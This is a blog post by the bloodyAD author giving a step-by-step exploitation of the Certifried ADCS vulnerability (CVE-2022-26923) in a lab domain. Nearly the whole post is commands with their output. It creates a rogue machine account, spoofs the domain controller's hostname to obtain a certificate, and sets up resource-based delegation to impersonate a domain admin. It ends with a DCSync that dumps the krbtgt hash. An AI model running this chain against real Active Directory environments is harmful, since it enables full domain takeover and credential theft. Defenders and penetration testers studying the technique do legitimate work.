bloodyAD and Certifried (CVE-2022-26923)

cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html

soka May 11, 2022

11 May 2022
by soka

A new ADCS privesc was released: Certifried (CVE-2022-26923) with this blogpost after Microsoft patched it. Here is an example on how to exploit this vulnerability with bloodyAD and PKINIT not supported from Linux.

Linux

We need to own a computer, either we pwned one or we can create one if `ms-DS-MachineAccountQuota`>0:

```
> python bloodyAD.py -d crashlab.local -u testuser -p 'totoTOTOtoto1234*' --host 10.100.10.12 get object 'DC=crashlab,DC=local' --attr ms-DS-MachineAccountQuota

distinguishedName: DC=crashlab,DC=local
ms-DS-MachineAccountQuota: 10
```

We create a Computer object `cve` in the LDAP:

```
> python bloodyAD.py -d crashlab.local -u testuser -p 'totoTOTOtoto1234*' --host 10.100.10.12 addComputer cve 'CVEPassword1234*'

[+] cve created
```

Then we set the attribute `dNSHostName` (empty when we created the object) to match the Domain Controller DNS Hostname: `CRASHDC.crashlab.local`.

```
> python bloodyAD.py -d crashlab.local -u testuser -p 'totoTOTOtoto1234*' --host 10.100.10.12 set object 'CN=cve,CN=Computers,DC=crashlab,DC=local' dNSHostName -v CRASHDC.crashlab.local

[+] CN=cve,CN=Computers,DC=crashlab,DC=local's dnsHostName has been updated
```

To check if the attribute has been correctly set:

```
> python bloodyAD.py -d crashlab.local -u testuser -p 'totoTOTOtoto1234*' --host 10.100.10.12 get object 'CN=cve,CN=Computers,DC=crashlab,DC=local' --attr dNSHostName

distinguishedName: CN=cve,CN=Computers,DC=crashlab,DC=local
dNSHostName: CRASHDC.crashlab.local
```

Now we can use Certipy to request a certificate for the computer `cve`:

```
# 10.100.10.13 is the ADCS server
> certipy req 'crashlab.local/cve$:CVEPassword1234*@10.100.10.13' -template
Machine -dc-ip 10.100.10.12 -ca crashlab-ADCS-CA
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 12
[*] Got certificate with DNS Host Name 'CRASHDC.crashlab.local'
[*] Saved certificate and private key to 'crashdc.pfx'
```

Now we'll try to get a TGT using Certipy with the certificate requested above:

```
> certipy auth -pfx ./crashdc.pfx -dc-ip 10.100.10.12
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: crashdc$@crashlab.local
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError:
KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
```

PKINIT doesn't seem to work on this AD, let's try RBCD technique with bloodyAD and its certificate authentication feature:

```
> openssl pkcs12 -in crashdc.pfx -out crashdc.pem -nodes
> python bloodyAD.py -d crashlab.local  -c ":crashdc.pem" -u 'cve$' --host
10.100.10.12 add rbcd 'CRASHDC$' 'CVE$'
[+] CVE$ SID is: S-1-5-21-1945936656-2616711065-1665664270-1134
[+] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity correctly set
[+] Delegation rights modified successfully!
CVE$ can now impersonate users on CRASHDC$ via S4U2Proxy
```

Delegation rights are set up, we can now use impacket `getST.py` to impersonate a Domain admin (`emacron` in our case) on CRASHDC$ and fetch a TGT:

```
> getST.py -spn LDAP/CRASHDC.CRASHLAB.LOCAL -impersonate emacron -dc-ip
10.100.10.12 'crashlab.local/cve$:CVEPassword1234*'
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating emacron
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in emacron.ccache

> cp emacron.ccache /tmp/
> export KRB5CCNAME=/tmp/emacron.ccache
```

Finally we'll use impacket `secretsdump.py` to perform a DCSync with the exported TGT:

```
> secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt
'crashlab.local/emacron@crashdc.crashlab.local' -k -no-pass -dc-ip 10.100.10.12 -
target-ip 10.100.10.12
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:492850f62466ef2bd1f4a56f112e01f1:::
(status=Disabled)
[*] Cleaning up...
```

tags: - *privesc* - *bloodyad* - *kerberos* - *authentication*